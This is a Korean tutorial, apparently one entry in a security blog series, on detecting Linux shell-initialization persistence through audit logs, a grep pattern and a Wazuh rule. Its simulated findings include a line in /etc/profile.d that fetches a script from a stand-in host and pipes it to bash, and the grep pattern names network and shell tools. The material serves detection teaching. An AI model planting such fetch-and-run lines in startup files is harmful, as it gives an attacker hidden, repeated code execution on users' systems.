시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 21/50편 (전체 271/450)
학습 단계: 지속성(persistence) 메커니즘
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
셸 초기화 파일은 사용자가 셸을 시작하거나 로그인할 때마다 실행됩니다. 공격자는 .bashrc·/etc/profile.d 등에 악성 코드를 심어, 로그인·셸 시작 시 자동 실행되는 지속성을 확보합니다.
셸 초기화 파일 지속성
사용자: ~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc
전역: /etc/profile, /etc/profile.d/*, /etc/bash.bashrc
로그아웃: ~/.bash_logout
별칭 위장: alias ls='악성; ls'
실행 시점: 로그인·셸 시작 시마다 → 사용자 활동에 묻어 실행
셸 초기화 지속성은 사용자가 로그인·셸을 쓸 때 자연스럽게 실행되어 은밀합니다. 특히 전역 파일(/etc/profile.d)은 모든 사용자에게 적용됩니다.
| 초기화 파일 | 실행 시점 | 위험 |
|---|---|---|
~/.bashrc | 셸 시작마다 | 높음 |
~/.bash_profile | 로그인 시 | 높음 |
/etc/profile.d/* | 전역 로그인 | 매우 높음 |
| alias 위장 | 명령 실행 시 | 중간 |
| 정상 설정 | 정상 | 정상 |
# 셸 초기화 파일 지속성 탐지 (분석 방법)
# 초기화 파일 변경 이벤트(watch)
sudo ausearch -k persist -i --start recent 2>/dev/null | grep -E 'bashrc|bash_profile|profile\.d|\.zshrc|\.profile' | tail
# 초기화 파일의 의심 내용(네트워크·비표준 경로·인코딩)
sudo grep -rE 'curl|wget|nc |/tmp/|/dev/shm/|base64|bash -i' /etc/profile.d/ /etc/bash.bashrc /home/*/.bashrc /root/.bashrc 2>/dev/null
$ (초기화 파일 변경) (없음)
$ (의심 내용) (없음 — 정상 환경 설정만)
셸 초기화 파일에 변경 이벤트가 없고, 네트워크·비표준 경로 등 의심 내용이 없는 상태가 정상입니다.
$ (초기화 파일 변경)
04:12 auid=devops /home/alice/.bashrc
$ (의심 내용)
/etc/profile.d/x.sh: curl http://192.0.2.88/p|bash &
/home/alice/.bashrc: /tmp/.x &
셸 초기화 지속성 분석입니다(가상의 예시).
[등록] /etc/profile.d/x.sh: curl ...|bash (watch/FIM)
↓
[실행] 사용자 로그인 → profile.d 실행 → curl|bash
↓ 계보
login/sshd → bash → (profile.d) → curl → payload
↓
[지속] 로그인할 때마다 재실행(사용자 활동에 묻힘)
| 요소 | 해석 |
|---|---|
| profile.d 변경 | 전역 지속성 |
| curl | bash |
| 로그인 트리거 | 사용자 활동 |
| 매 로그인 | 반복 실행 |
로그인 계보(sshd→bash→profile.d→악성)로 셸 초기화 지속성을 포착합니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,persistence,">
<rule id="105200" level="12">
<if_sid>105060</if_sid>
<field name="audit.file" type="pcre2">\.(bashrc|bash_profile|profile|zshrc|bash_logout)$|/etc/profile\.d/|/etc/bash\.bashrc</field>
<description>셸 초기화 파일 지속성 변경(로그인·셸 시작 실행)</description>
<mitre><id>T1546.004</id></mitre>
</rule>
</group>
초기화 파일 내용(curl·비표준 경로)은 FIM으로 탐지합니다. 정상 환경 설정 변경은 맥락으로 구분합니다.
| 초기화 파일 | 실행 시점 |
|---|---|
| ~/.bashrc | 셸 시작마다 |
| ~/.bash_profile | 로그인 시 |
| /etc/profile.d | 전역 로그인 |
| alias 위장 | 명령 실행 시 |
| 면접 포인트 | "셸 초기화는 로그인·셸 시작 실행 — 전역(profile.d)은 모든 사용자 영향" |
다음 편 272. 프로세스·지속성 — systemd 사용자 서비스·autostart 지속성 탐지 에서는 systemd 사용자 서비스·autostart 지속성을 다루는 systemd 사용자 서비스·autostart 지속성 탐지를 다룹니다.
이전 편: 270. 프로세스·지속성 — systemd 서비스·타이머 지속성 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점